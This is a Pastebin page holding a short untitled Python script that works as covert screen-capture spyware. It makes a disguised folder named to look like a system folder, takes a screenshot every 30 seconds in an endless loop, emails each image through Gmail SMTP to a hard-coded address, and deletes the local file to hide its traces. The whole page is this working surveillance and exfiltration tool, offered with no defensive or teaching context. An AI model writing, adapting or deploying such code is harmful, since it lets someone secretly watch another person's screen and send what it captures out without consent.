Advertisement
Ghantey

Untitled

Jun 23rd, 2018
195
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 1.43 KB | None | 0 0
  1. import os
  2. import time
  3. import string
  4. import random
  5. import smtplib
  6. import pyautogui
  7. from email.mime.text import MIMEText
  8. from email.mime.image import MIMEImage
  9. from email.mime.multipart import MIMEMultipart
  10.  
  11.  
  12.  
  13.  
  14. if os.path.exists('C:\\$y$temF0lder'):
  15.     pass
  16.    
  17. else:
  18.     os.mkdir('C:\\$y$temF0lder')
  19.    
  20.  
  21. os.chdir('C:\\$y$temF0lder')
  22.  
  23.  
  24. def send_mail():
  25.     msg = MIMEMultipart()
  26.  
  27.     fromadd = 'fromaddress@gmail.com'
  28.     toadd = 'toaddress@gmail.com'
  29.    
  30.     msg['From'] = fromadd
  31.     msg['To'] = toadd
  32.     msg['Subject'] = 'Photos'
  33.  
  34.     text = MIMEText('Pic')
  35.     msg.attach(text)
  36.  
  37.     img = open(image_name, 'rb').read()
  38.     send_image = MIMEImage(img, name=os.path.basename(image_name))
  39.     msg.attach(send_image)
  40.  
  41.     sessions = smtplib.SMTP('smtp.gmail.com', '587')
  42.     sessions.ehlo()
  43.     sessions.starttls()
  44.     sessions.ehlo()
  45.     sessions.login(fromadd, 'Password')
  46.     sessions.sendmail(fromadd, toadd, msg.as_string())
  47.     sessions.quit()
  48.    
  49.  
  50.    
  51. def main():
  52.  
  53.     global image_name
  54.  
  55.     while True:
  56.         name = ''
  57.         for i in range(10):
  58.             x = random.randint(0,62)
  59.             name += string.printable[x]
  60.            
  61.         screenshot = pyautogui.screenshot()
  62.         screenshot.save(name + '.png')  
  63.         image_name = name + '.png'
  64.  
  65.         send_mail()
  66.  
  67.         os.remove(image_name)
  68.  
  69.         time.sleep(30)
  70.  
  71. if __name__ == '__main__':
  72.     main()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement